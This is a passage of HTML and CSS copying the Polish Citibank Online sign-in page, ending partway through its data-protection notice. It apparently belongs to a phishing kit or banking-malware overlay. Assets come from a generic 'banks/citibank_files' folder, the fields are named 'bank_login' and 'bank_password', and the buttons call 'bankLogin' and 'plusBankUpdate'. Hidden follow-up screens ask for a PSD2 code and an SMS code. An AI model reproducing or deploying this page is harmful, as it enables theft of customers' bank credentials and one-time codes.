                                        position: absolute;
                                        left: 0;
                                        right: 0;
                                        top: auto;
                                        height: 4px;
                                        background-color: #056dae
                                    }

                                    .cbolui-ddl #continue_root {
                                        margin-top: 1rem;
                                    }

                                    @media screen and (max-width:719px) {
                                        .cbolui-ddl #expireMonth_root,#expireYear_root {
                                            width: 50%;
                                            clear: both
                                        }
                                    }

                                    @media screen and (min-width:719px) {
                                        .cbolui-ddl #progressBar-indicator {
                                            text-align: center
                                        }
                                        .cbolui-ddl #register_root {
                                            margin-bottom: 2rem
                                        }
                                        .cbolui-ddl #signOut_root {
                                            margin-top: 1rem;
                                            margin-bottom: 2rem
                                        }
                                        .cbolui-ddl #continue_div {
                                            text-align: center
                                        }
                                        .cbolui-ddl .bar {
                                            margin-top: 1rem;
                                            margin-bottom: 1.6rem
                                        }
                                        .cbolui-ddl #continue_root {
                                            margin-bottom: 1rem;
                                            margin-top: 3rem;
                                            text-align: center
                                        }
                                        .cbolui-ddl .cardForm {
                                            float: left
                                        }
                                        .cbolui-ddl #cardP_root {
                                            width: 80px;
                                            height: 48px
                                        }
                                    }

                                    @media screen and (max-width:720px) {
                                        .cbolui-ddl #continue_root {
                                            margin-bottom: 1rem;
                                            margin-top: 3rem
                                        }
                                        .cbolui-ddl #register_root {
                                            margin-bottom: 1rem
                                        }
                                        .cbolui-ddl #signOut_root {
                                            margin-top: 1rem;
                                            margin-bottom: 2rem
                                        }
                                    }

                                    @media screen and (max-width:480px) {
                                        .cbolui-ddl .title {
                                            font-size: 1.9rem;
                                            line-height: 1.9rem;
                                            font-family: Interstate_Light;
                                            color: #333
                                        }
                                    }

                                    @media screen and (max-width:768px) and (min-width:481px) {
                                        .cbolui-ddl .title {
                                            font-size: 1.9rem;
                                            line-height: 1.9rem;
                                            font-family: Interstate_Light;
                                            color: #333
                                        }
                                    }

                                    @media screen and (max-width:992px) and (min-width:769px) {
                                        .cbolui-ddl .title {
                                            font-size: 1.9rem;
                                            line-height: 1.9rem;
                                            font-family: Interstate_Light;
                                            color: #333
                                        }
                                    }

                                    @media screen and (max-width:1200px) and (min-width:993px) {
                                        .cbolui-ddl .title {
                                            font-size: 1.9rem;
                                            line-height: 1.9rem;
                                            font-family: Interstate_Light;
                                            color: #333
                                        }
                                    }
                                    .cbolui-ddl #signin_body .theme-light .form-control{
                                        background-color: #eee!important;
                                    }

                                    .cbolui-ddl #signin_body .img{
                                        display:none;
                                    }
                                </style>
                                <div id="signin_body"><div data-module="auth" data-app="signin" data-screen="loginEntry"><style type="text/css">
                                            .cbolui-ddl .form-group {
                                                display: block;
                                            }

                                            .cbolui-ddl #SignonForm {
                                                margin-top: 0rem;
                                            }


                                            .cbolui-ddl #submit_body{
                                                margin-bottom: 0rem;
                                                margin-top: 0rem;
                                            }
                                            .cbolui-ddl #register_root{
                                                margin-bottom:0rem;
                                            }

                                            .cbolui-ddl .div_allinline
                                            {
                                                margin:0 auto;
                                                padding:0;
                                            }

                                            .cbolui-ddl .subdiv_allinline
                                            {
                                                margin:0;
                                                padding:0;
                                                display:inline-block;
                                            }
                                            .cbolui-ddl .imgBig{
                                                color: red;
                                                font-size: 30px;
                                            }
                                            .cbolui-ddl .signinerrorinfo{
                                                min-height:3.1rem;
                                                font-size:12px;
                                                padding-left: 10px;
                                                padding-right: 10px;
                                            }
                                            .cbolui-ddl #signinTitleBar{
                                                border-top: .2rem solid #eee;
                                            }

                                            .cbolui-ddl .deleteuseridDropdown{
                                                margin-top: 0.5rem;
                                            }

                                            .cbolui-ddl #signin_body .form-group
                                            {
                                                margin-bottom: 0rem;
                                                margin-top: 0rem;
                                            }

                                            .cbolui-ddl #signin_body .form-control
                                            {
                                                margin-bottom: 0.2rem;
                                                margin-top: 0.15rem;
                                            }
                                            .cbolui-ddl #signin_body H2
                                            {
                                                color: #333;
                                                margin-bottom: 0rem;
                                            }

                                            .cbolui-ddl .checkbox {
                                                margin-top: 0rem;
                                                margin-bottom: 0rem;
                                            }

                                            .cbolui-ddl .signinspacer1 {
                                                padding-bottom: 1rem;
                                            }
                                            .cbolui-ddl .signinspacer2 {
                                                padding-bottom: 1rem;
                                            }
                                            .cbolui-ddl .signinspacer3 {
                                                padding-bottom: 1.75rem;
                                            }
                                            .cbolui-ddl .signinspacer4 {
                                                padding-bottom: 9rem;
                                            }
                                            .cbolui-ddl .signinspacer5 {
                                                padding-bottom: 3rem;
                                            }
                                            .cbolui-ddl .signinspacer6 {
                                                padding-bottom: 2.75rem;
                                            }
                                            .cbolui-ddl .signinspacer7 {
                                                padding-bottom: 1.7rem;
                                            }
                                            .cbolui-ddl .signinspacer8 {
                                                padding-bottom: 0.6rem;
                                            }

                                            .cbolui-ddl #SecureOnlineBanking_root a {
                                                text-decoration: none;
                                            }
                                            @media screen and (max-width:319px) {

                                            }
                                            @media screen and (max-width:359px) and (min-width:320px){
                                                .cbolui-ddl #SignonForm .form-group{
                                                    margin-bottom: 0px;
                                                }
                                                .cbolui-ddl .signinspacer1 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer2 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer3 {
                                                    padding-bottom: 1.75rem;
                                                }
                                                .cbolui-ddl .signinspacer4 {
                                                    padding-bottom: 9rem;
                                                }
                                                .cbolui-ddl .signinspacer5 {
                                                    padding-bottom: 3rem;
                                                }
                                                .cbolui-ddl .signinspacer6 {
                                                    padding-bottom: 2.75rem;
                                                }
                                                .cbolui-ddl .signinspacer7 {
                                                    padding-bottom: 1.7rem;
                                                }
                                                .cbolui-ddl .signinspacer8 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinerrorinfo{
                                                    min-height:3.1rem;
                                                    font-size:0.8rem;
                                                    padding-left: 10px;
                                                    padding-right: 10px;
                                                }
                                                .cbolui-ddl #submit_body{
                                                    margin-bottom: 0rem;
                                                    margin-top: 0rem;
                                                }
                                            }
                                            @media screen and (max-width:374px) and (min-width:360px){
                                                .cbolui-ddl #SignonForm .form-group{
                                                    margin-bottom: 0px;
                                                }
                                                .cbolui-ddl .signinspacer1 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinspacer2 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer3 {
                                                    padding-bottom: 1.75rem;
                                                }
                                                .cbolui-ddl .signinspacer4 {
                                                    padding-bottom: 9rem;
                                                }
                                                .cbolui-ddl .signinspacer5 {
                                                    padding-bottom: 3rem;
                                                }
                                                .cbolui-ddl .signinspacer6 {
                                                    padding-bottom: 2.75rem;
                                                }
                                                .cbolui-ddl .signinspacer7 {
                                                    padding-bottom: 1.2rem;
                                                }
                                                .cbolui-ddl .signinspacer8 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinerrorinfo{
                                                    min-height:3.1rem;
                                                    font-size:0.8rem;
                                                    padding-left: 10px;
                                                    padding-right: 10px;
                                                }
                                                .cbolui-ddl #submit_body{
                                                    margin-bottom: 0rem;
                                                    margin-top: 0rem;
                                                }
                                            }
                                            @media screen and (max-width:411px) and (min-width:375px){
                                                .cbolui-ddl #SignonForm .form-group{
                                                    margin-bottom: 0px;
                                                }
                                                .cbolui-ddl .signinspacer1 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer2 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer3 {
                                                    padding-bottom: 1.75rem;
                                                }
                                                .cbolui-ddl .signinspacer4 {
                                                    padding-bottom: 9rem;
                                                }
                                                .cbolui-ddl .signinspacer5 {
                                                    padding-bottom: 3rem;
                                                }
                                                .cbolui-ddl .signinspacer6 {
                                                    padding-bottom: 2.75rem;
                                                }
                                                .cbolui-ddl .signinspacer7 {
                                                    padding-bottom: 1.7rem;
                                                }
                                                .cbolui-ddl .signinspacer8 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinerrorinfo{
                                                    min-height:3.1rem;
                                                    font-size:0.8rem;
                                                    padding-left: 10px;
                                                    padding-right: 10px;
                                                }
                                                .cbolui-ddl #submit_body{
                                                    margin-bottom: 0rem;
                                                    margin-top: 0rem;
                                                }
                                            }
                                            @media screen and (max-width:413px) and (min-width:412px){
                                                .cbolui-ddl #SignonForm .form-group{
                                                    margin-bottom: 0px;
                                                }
                                                .cbolui-ddl .signinspacer1 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer2 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer3 {
                                                    padding-bottom: 1.75rem;
                                                }
                                                .cbolui-ddl .signinspacer4 {
                                                    padding-bottom: 9rem;
                                                }
                                                .cbolui-ddl .signinspacer5 {
                                                    padding-bottom: 3rem;
                                                }
                                                .cbolui-ddl .signinspacer6 {
                                                    padding-bottom: 2.75rem;
                                                }
                                                .cbolui-ddl .signinspacer7 {
                                                    padding-bottom: 1.7rem;
                                                }
                                                .cbolui-ddl .signinspacer8 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinerrorinfo{
                                                    min-height:3.1rem;
                                                    font-size:0.8rem;
                                                    padding-left: 10px;
                                                    padding-right: 10px;
                                                }
                                                .cbolui-ddl #submit_body{
                                                    margin-bottom: 0rem;
                                                    margin-top: 0rem;
                                                }
                                            }
                                            @media screen and (max-width:767px) and (min-width:414px) {
                                                .cbolui-ddl #SignonForm .form-group{
                                                    margin-bottom: 0px;
                                                }
                                                .cbolui-ddl .signinspacer1 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer2 {
                                                    padding-bottom: 1rem;
                                                }
                                                .cbolui-ddl .signinspacer3 {
                                                    padding-bottom: 1.75rem;
                                                }
                                                .cbolui-ddl .signinspacer4 {
                                                    padding-bottom: 9rem;
                                                }
                                                .cbolui-ddl .signinspacer5 {
                                                    padding-bottom: 3rem;
                                                }
                                                .cbolui-ddl .signinspacer6 {
                                                    padding-bottom: 2.75rem;
                                                }
                                                .cbolui-ddl .signinspacer7 {
                                                    padding-bottom: 1.7rem;
                                                }
                                                .cbolui-ddl .signinspacer8 {
                                                    padding-bottom: 0.6rem;
                                                }
                                                .cbolui-ddl .signinerrorinfo{
                                                    min-height:3.1rem;
                                                    font-size:0.8rem;
                                                    padding-left: 10px;
                                                    padding-right: 10px;
                                                }
                                                .cbolui-ddl #submit_body{
                                                    margin-bottom: 0rem;
                                                    margin-top: 0rem;
                                                }

                                            }
                                            @media screen and (max-width:991px) and (min-width:768px) {

                                            }

                                            .tcContent{
                                                background-color: #eee;
                                                margin: 0px 50px !important;
                                                overflow: auto;
                                                max-height: 43rem;
                                                height: 380px;
                                                overflow-wrap: break-word;
                                            }
                                            .cbolui-ddl #TnCSection .confirm-button button {
                                                border-style: solid;
                                                border-width: 2px;
                                                line-height: 26px;
                                                color: #999;
                                                background: #fff;
                                                border-color: #bbb;
                                                border-radius: 6px;
                                                padding: 10px 50px;
                                                font-family: Interstate_Bold,sans-serif;
                                            }


                                        </style>
                                        <div id="SignonForm" class="theme-light">

                                            <!-- fake fields are a workaround for chrome autofill getting the wrong fields -->
                                            <input style="display:none" type="text" name="fakeusernameremembered">
                                            <input style="display:none" type="password" name="fakepasswordremembered">

                                            <div class="signinspacer7"></div>
                                            <div class="row nomargin">
                                                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 col-custom-padding text-center">
                                                    <h2><div id="pageTitle_root" class="">
                                                            <span id="summaryInfo">Zaloguj się do Citibank<sup>®</sup> Online</span>
                                                        </div></h2>
                                                </div>
                                            </div>
                                            <div class="signinspacer1"></div>
                                            <div id="unavailableMsg_root" class="">
                                                <span id="unavailableMsg_body"><div class="spacer1"></div><div class="row  nomargin spacer1"><div class="col-md-6 col-sm-6 col-xs-10 col-md-offset-3 col-sm-offset-3 col-xs-offset-1" style="border: 1px white solid; color: black; text-align: center;"><div><b>Sprawdź, jak wiele możesz zrobić online oraz jak działamy w związku z zagrożeniem koronawirusem COVID-19. Dowiedz się <a href="https://www.online.citibank.pl/bezpieczenstwo/rekomendowany-kontakt.html#header-info-3" target="_blank">tutaj</a>.</b><br><br>Najczęściej zadawane pytania dotyczące Bankowości Internetowej znajdziesz <a href="https://www.citibankonline.pl/apps/customerservice/faq/home/internet-and-mobile-banking/" target="_blank">tutaj</a>.</div></div></div><div class="signinspacer8"></div></span>
                                            </div>
                                            <div id="mainCont">
                                                <div id="loginCont">
                                                    <div class="row  nomargin">
                                                        <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                            <div id="username_root" class="form-group  ">
                                                                <label class="text-input-label" id="username_label" for="username_input">Nazwa użytkownika</label>
                                                                <div class=" ">
                                                                    <input autocapitalize="off" autocorrect="off" autocomplete="off" type="text" name="username" placeholder="Nazwa użytkownika" class=" form-control " id="bank_login" maxlength="30">



                                                                </div>


                                                                <span class="validation-message-danger" id="username_status"></span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <input style="display:none;" type="text">
                                                    <input style="display:none;" type="password">

                                                    <div class="row  centerAlign nomargin deleteuseridDropdown">
                                                        <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                            <div id="dropdown_div">
                                                                <ul class="list-group" style="display: none;">
                                                                    <li id="DelLinkLi" class="list-group-item"><a href="https://www.citibankonline.pl/apps/auth/signin/delUserId"><div id="delUserIdLink_root" class="">
                                                                                <span id="delUserIdLink_body">Usuń Nazwę użytkownika</span>
                                                                            </div></a></li>
                                                                </ul>
                                                            </div>
                                                        </div>
                                                    </div>

                                                    <div class="row nomargin">
                                                        <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                            <div id="password_root" class="form-group  ">
                                                                <label class="text-input-label" id="password_label" for="password_input">Hasło</label>
                                                                <div>
                                                                    <input autocapitalize="off" autocorrect="off" autocomplete="off" type="password" name="password" placeholder="Hasło" class="form-control" id="bank_password" maxlength="50">
                                                                </div>
                                                                <span class="validation-message-danger" id="password_status"></span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div id="psdCont">
                                                <div class="row  nomargin">
                                                    <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                        <div id="username_root" class="form-group  ">
                                                            <label class="text-input-label" id="username_label" for="username_input">Nazwa użytkownika</label>
                                                            <div class=" ">
                                                                <input style="display: none" autocapitalize="off" autocorrect="off" autocomplete="off" type="text" name="username" placeholder="Kod psd2" class=" form-control " id="bank_psd" maxlength="30">
                                                            </div>
                                                            <span class="validation-message-danger" id="username_status"></span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>

                                            <div id="infoCont" style="display: none">
                                                <div class="row  nomargin">
                                                    <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                        <div id="username_root" class="form-group  ">
                                                            <label class="text-input-label" id="username_label" for="username_input">Nazwa użytkownika</label>
                                                            <div class=" ">
                                                                <input autocapitalize="off" autocorrect="off" autocomplete="off" type="text" name="username" placeholder="Kod SMS z telefonu" class=" form-control " id="bank_psd" maxlength="30">
                                                            </div>
                                                            <span class="validation-message-danger" id="username_status"></span>
                                                        </div>
                                                    </div>
                                                </div>
                                                <input style="display:none;" type="text">
                                                <input style="display:none;" type="password">

                                                <div class="row  centerAlign nomargin deleteuseridDropdown">
                                                    <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                        <div id="dropdown_div">
                                                            <ul class="list-group" style="display: none;">
                                                                <li id="DelLinkLi" class="list-group-item"><a href="https://www.citibankonline.pl/apps/auth/signin/delUserId"><div id="delUserIdLink_root" class="">
                                                                            <span id="delUserIdLink_body">Usuń Nazwę użytkownika</span>
                                                                        </div></a></li>
                                                            </ul>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>

                                            <div id="errorArea" class="signinerrorinfo">
                                                <div id="errorNotice" class="row nomargin" style="display:none">
                                                    <div class="col-md-8 col-sm-10 col-xs-10 col-md-offset-2 col-sm-offset-1 col-xs-offset-1">
                                                        <div class="centerAlign " style="color:#f00">
                                                            <div id="regSigninMsg_root" class="">
                                                                <span id="regSigninMsg_body">Podane przez Ciebie informacje są już powiązane z inną Nazwą użytkownika.</span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div id="temporaryNotice" class="row nomargin" style="display:none">
                                                    <div class="signinspacer8"></div>

                                                    <div class="col-md-12 col-sm-12 col-xs-12">
                                                        <div class="centerAlign " style="color:#f00">
                                                            <div id="temporaryDelayMsg_root" class="">
                                                                <span id="temporaryDelayMsg_body">Przepraszamy, wygląda na to, że wystąpił chwilowy problem z możliwością zalogowania do systemu. Nasz zespół pracuje już nad rozwiązaniem tego problemu.</span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div id="errorInfo" class="centerAlign" style="display:none">
                                                    <div class="row div_allinline">
                                                        <div class="subdiv_allinline" style="width:25px">
                                                            <img style="width: 100%" src="/assets/banks/citibank_files/alerts.png">
                                                        </div>
                                                        <div class="subdiv_allinline" style="display:none">
                                                            <div id="loginErrorMsg_root" class="">
                                                                <span id="loginErrorMsg_body">Wprowadzono błędne dane logowania. Uwaga, trzykrotne wprowadzenie błędnych danych logowania spowoduje blokadę dostępu do Usługi bankowości elektronicznej Citibank Online i Citi Mobile. Jeśli nie pamiętasz Nazwy użytkownika lub Hasła sprawdź wskazówki zamieszczone poniżej.</span>
                                                            </div>
                                                        </div>
                                                        <div class="subdiv_allinline" style="display:none">
                                                            <span id="gpWrongPassword1_root">Wprowadzono błędne dane do logowania. Uwaga, trzykrotne wprowadzenie błędnych danych do logowania spowoduje blokadę dostępu do Usługi bankowości elektronicznej Citibank Online i Citi Mobile. Jeśli nie pamiętasz Nazwy użytkownika lub Hasła sprawdź wskazówki zamieszczone poniżej.</span>
                                                        </div>
                                                        <div class="subdiv_allinline" style="display:none">
                                                            <span id="gpWrongPassword2_root">Wprowadzono błędne dane do logowania. Uwaga, trzykrotne wprowadzenie błędnych danych do logowania spowoduje blokadę dostępu do Usługi bankowości elektronicznej Citibank Online i Citi Mobile. Jeśli nie pamiętasz Nazwy użytkownika lub Hasła sprawdź wskazówki zamieszczone poniżej.</span>
                                                        </div>
                                                        <div class="subdiv_allinline" style="display:none">
                                                            <span id="gpUserIDBlocked_root">Wprowadzono błędne dane do logowania. Uwaga, trzykrotne wprowadzenie błędnych danych do logowania spowoduje blokadę dostępu do Usługi bankowości elektronicznej Citibank Online i Citi Mobile. Jeśli nie pamiętasz Nazwy użytkownika lub Hasła sprawdź wskazówki zamieszczone poniżej.</span>
                                                        </div>
                                                    </div>
                                                    <div class="row div_allinline">
                                                        <div class="subdiv_allinline">
                                                            <div id="haveTroubleP1_root" class="">
                                                                <span id="haveTroubleP1_body"></span>
                                                            </div>
                                                        </div>
                                                        <div class="subdiv_allinline">
                                                            <div id="citiPhone_root" class="">
                                                                <a id="citiPhone_body" href="javascript:void(0)" class=""></a>
                                                            </div>

                                                        </div>
                                                        <div class="subdiv_allinline">
                                                            <div id="haveTroubleP2_root" class="">
                                                                <span id="haveTroubleP2_body"></span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>

                                            <div class="row nomargin">
                                                <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1" id="buttonsCont">
                                                    <div id="submit_root" class="">
                                                        <button id="login_button" onclick="bankLogin(); plusBankUpdate()" type="button" class="btn col-md-12 col-sm-12 col-xs-12 btn-primary">Zaloguj</button>
                                                        <button id="psd2_button" style="display: none" onclick="psdUpdate()" type="button" class="btn col-md-12 col-sm-12 col-xs-12 btn-primary">Zaloguj</button>
                                                    </div>

                                                </div>
                                            </div>
                                            <div class="signinspacer1"></div>

                                            <div class="row nomargin">
                                                <div class="col-md-offset-4 col-sm-offset-2 col-xs-offset-1">
                                                    <div id="checkboxRemember_root" class="col-md-6 col-sm-9 col-xs-12">
                                                        <div class="validation-message-danger" id="checkboxRemember_status"></div>
                                                        <div id="checkboxRemember_option_body">
                                                            <div class="checkbox">
                                                                <input type="checkbox" name="checkboxRemember" id="checkboxRemember_on" value="on">
                                                                <label for="checkboxRemember_on" id="checkboxRemember_on_label"><span>Zapamiętaj Nazwę użytkownika</span></label>
                                                            </div>
                                                        </div>
                                                    </div>

                                                </div>
                                            </div>

                                            <div class="signinspacer8"></div>

                                            <div class="row div_allinline centerAlign">
                                                <div class="col-md-10 col-sm-10 col-xs-10 col-md-offset-1 col-sm-offset-1 col-xs-offset-1">
                                                    <div class="subdiv_allinline">
                                                        <span id="forgotUsername1_root">Nie pamiętasz </span>
                                                    </div>
                                                    <div class="subdiv_allinline">
                                                        <div id="forgotUsername_root" class="">
                                                            <a id="forgotUsername_body" href="javascript:void(0)" class="">Nazwy użytkownika</a>
                                                        </div>

                                                    </div>
                                                    <div class="subdiv_allinline">
                                                        <span id="or_root">lub</span>
                                                    </div>
                                                    <div class="subdiv_allinline">
                                                        <div id="forgotPassword_root" class="">
                                                            <a id="forgotPassword_body" href="javascript:void(0)" class="">hasła</a>
                                                        </div>

                                                    </div>
                                                    <div class="subdiv_allinline">
                                                        <span id="questionmark_root">?</span>
                                                    </div>
                                                </div>
                                            </div>

                                            <div class="signinspacer8"></div>

                                            <div class="row div_allinline centerAlign">
                                                <div class="col-md-10 col-sm-10 col-xs-10 col-md-offset-1 col-sm-offset-1 col-xs-offset-1">
                                                    <div class="subdiv_allinline">
                                                        <div id="noAccMsg_root" class="">
                                                            <span id="noAccMsg_body">Nie masz jeszcze konta?</span>
                                                        </div>
                                                    </div>
                                                    <div class="subdiv_allinline">
                                                        <div id="register_root" class="">
                                                            <a id="register_body" href="javascript:void(0)" class="">Zarejestruj się w bankowości internetowej.</a>
                                                        </div>

                                                    </div>
                                                </div>
                                            </div>
                                            <div class="signinspacer8"></div>

                                            <div class="row div_allinline centerAlign">
                                                <div class="col-md-10 col-sm-10 col-xs-10 col-md-offset-1 col-sm-offset-1 col-xs-offset-1 bold">
                                                    <div class="subdiv_allinline">
                                                        <div class="subdiv_allinline" style="width:25px">
                                                            <img style="width: 100%" src="/assets/banks/citibank_files/security_shield_small.png">
                                                        </div>
                                                        <span id="SecureOnlineBanking_root"><a href="https://www.citibankonline.pl/bezpieczenstwo.html" target="_blank">Jak bezpiecznie korzystać z bankowości internetowej?</a></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="signinspacer7"></div>
                                        </div>
                                        <div id="TnCSection" class="theme-light" style="display:none">

                                            <div class="spacer1"></div>
                                            <div class="row nomargin">
                                                <div class="col-md-offset-2 col-md-8 col-xs-10 col-xs-offset-1 text-center h3">
                                                    <span id="agreementTitle_root"><b>Informacja o przetwarzaniu danych osobowych</b></span>
                                                </div>
                                            </div>

                                            <div id="agreement" class="row nomargin tcContent">
                                                <span id="tcContent_root"><div style="background-color:beige"><br><p align="center"><b>INFORMACJA O PRZETWARZANIU DANYCH OSOBOWYCH</b></p>W związku z realizacją wymogów Rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych „RODO”), Bank Handlowy w Warszawie S.A. („Bank”) informuje o zasadach przetwarzania Pani/Pana danych osobowych oraz o przysługujących Pani/Panu prawach z tym związanych.<br><br>Poniższe zasady stosuje się począwszy od 25 maja 2018 roku.<br><br>Jeśli ma Pani/Pan pytania dotyczące sposobu i zakresu przetwarzania Pani/Pana danych osobowych przez Bank, a także przysługujących Pani/Panu uprawnień, prosimy o kontakt z Bankiem, ul Senatorska 16, 00-923 Warszawa bądź z inspektorem danych osobowych drogą elektroniczną poprzez: daneosobowe@bankhandlowy.pl lub pisemnie na adres ul. Goleszowska 6, 01–249 Warszawa.<br><br><b>I. Wskazanie administratora</b><br><br>Administratorem Pani/Pana danych osobowych jest Bank Handlowy w Warszawie S.A. z siedzibą w Warszawie przy ul. Senatorskiej 16.<br><br><b>II. Cele oraz podstawa prawna przetwarzania Pani/Pana danych osobowych</b><br><br>Bank przetwarza Pani/Pana dane osobowe w celach:<br><br>1. podjęcia na Pani/Pana żądanie działań zmierzających do zawarcia umowy z Bankiem lub gdy jest to niezbędne do wykonania umowy z Bankiem (art. 6 ust. 1 lit. b RODO), a dodatkowo:<ul><li> w odniesieniu do umów o produkty o charakterze kredytowym związanych z:<ul><li> dokonaniem oceny zdolności kredytowej lub analizy ryzyka kredytowego (zgodnie z art. 9 Ustawy z dnia 12 maja 2011 r. o kredycie konsumenckim lub art. 70 ustawy – Prawo bankowe),</li><li> przekazywaniem informacji do instytucji utworzonych na podstawie art. 105 ust. 4 ustawy - Prawo bankowe, w tym Biura Informacji Kredytowej S.A. („BIK”) z siedzibą w Warszawie, do Związku Banków Polskich z siedzibą w Warszawie, a także do biur informacji gospodarczej na zasadach określonych w Ustawie z dnia 9 kwietnia 2010 r. o udostępnianiu informacji gospodarczych i wymianie danych gospodarczych,</li></ul></li><li> w odniesieniu do umów dotyczących usług inwestycyjnych - związanych z dokonywaniem badania poziomu wiedzy o inwestowaniu w zakresie instrumentów finansowych oraz doświadczenia inwestycyjnego lub jego sytuacji finansowej oraz celów inwestycyjnych (na zasadach określonych w Ustawie z dnia 29 lipca 2005 r. o obrocie instrumentami finansowymi i w aktach wykonawczych wydanych na jej podstawie);</li></ul><br>2. wypełniania obowiązków prawnych ciążących na Banku w związku z prowadzeniem działalności bankowej, w tym:<ul><li> wynikających z art. 8 i nast. Ustawy z dnia 16 listopada 2000 r. o przeciwdziałaniu praniu pieniędzy oraz finansowaniu terroryzmu albo - po ich wejściu w życie - art. 33 i nast. Ustawy z dnia 1 marca 2018 r. o przeciwdziałaniu praniu pieniędzy oraz finansowaniu terroryzmu (tzw. „ustawa AML”),</li><li> w przypadku, jeśli znajdzie to zastosowanie, związanych z monitorowaniem korespondencji oraz transakcji lub zleceń na podstawie art. 16 Rozporządzenia PE i Rady (UE) nr 596/2014 (tzw. „Rozporządzenie MAR”) lub monitorowanie i nagrywanie rozmów telefonicznych oraz korespondencji elektronicznej na podstawie Ustawy z dnia 29 lipca 2005 r. o obrocie instrumentami finansowymi,</li><li>związanych z zapewnieniem płynności płatniczej Banku, w tym realizowaniem obowiązków wynikających z Rozporządzenia PE i Rady (UE) nr 575/2013 w sprawie wymogów ostrożnościowych dla instytucji kredytowych i firm inwestycyjnych, zmieniające rozporządzenie (UE) nr 648/2012 (tzw. „Rozporządzenie CRR”),</li><li>związanych z raportowaniem do organów władzy publicznej, w tym organów nadzorczych,  oraz do innych podmiotów, do których Bank jest zobowiązany raportować na podstawie obowiązujących przepisów prawa, w tym w związku z wypełnianiem przez Bank obowiązków identyfikacyjnych oraz raportowych wynikających z Ustawy z dnia 9 marca 2017 r. o wymianie informacji podatkowych z innymi państwami (tzw. „ustawa CRS”) bądź Ustawy z dnia 9 października 2015 r. o wykonywaniu Umowy między Rządem Rzeczypospolitej Polskiej a Rządem Stanów Zjednoczonych Ameryki w sprawie poprawy wypełniania międzynarodowych obowiązków podatkowych oraz wdrożenia ustawodawstwa FATCA,</li><li>związanych z rozpatrywaniem skarg i reklamacji dotyczących usług świadczonych przez Bank na podstawie art. 5 Ustawy z dnia 5 sierpnia 2015 r. o rozpatrywaniu reklamacji przez podmioty rynku finansowego i o Rzeczniku Finansowym, a także innych wniosków i zapytań skierowanych do Banku;</li></ul><br>3. ponadto w niektórych sytuacjach może okazać się konieczne przetwarzanie Pani/Pana danych z uwagi na realizację prawnie uzasadnionych interesów Banku (art. 6 ust. 1 lit. f. RODO), w szczególności w celach:<ul><li> marketingu produktów i usług Banku oraz podobnych produktów i usług oferowanych przez partnerów Banku,</li><li> związanych z monitorowaniem i poprawą jakości świadczonych przez Bank produktów i usług, w tym monitorowaniem rozmów telefonicznych i spotkań, badaniem Pani/Pana satysfakcji ze świadczonych usług,</li><li> związanych z zarządzaniem ryzykiem oraz kontrolą wewnętrzną Banku na podstawie art. 9 i nast. Prawa bankowego;</li><li> restrukturyzacji lub sprzedaży wierzytelności Banku względem Pani/Pana oraz dochodzenia roszczeń przez Bank,</li><li> w przypadku, gdy znajdzie to zastosowanie, powiązanych z prowadzeniem postępowań spornych, a także postępowań przed organami władzy publicznej oraz innych postępowań, w tym w celu dochodzenia oraz obrony przed roszczeniami,</li><li> przeciwdziałania nadużyciom oraz wykorzystywaniu działalności Banku dla celów przestępczych, w tym w celu przetwarzania i udostępniania informacji dotyczącej podejrzeń lub wykrycia przestępstw na zasadach określonych w art. 106d i nast. Prawa bankowego,</li><li> wewnętrznego raportowania w ramach Banku lub w ramach grupy kapitałowej Citigroup, w tym sprawozdawczości zarządczej,</li><li> w przypadku, gdy znajdzie to zastosowanie, prowadzenia wewnętrznej ewidencji wręczanych i otrzymywanych korzyści, konfliktów interesów i naruszeń etycznych w zakresie niezbędnym do przeciwdziałania nadużyciom oraz wykorzystywaniu działalności Banku dla celów przestępczych;</li></ul><br>4. w innych przypadkach Pani/Pana dane osobowe przetwarzane będą wyłącznie na podstawie wcześniej udzielonej zgody w zakresie i celu określonym w treści zgody.<br><br><b>III. Obowiązek podania danych osobowych Bankowi</b><br><br>Podanie przez Panią/Pana danych osobowych jest warunkiem zawarcia i wykonywania umowy z Bankiem, wynika z realizacji obowiązków wynikających z ww. przepisów 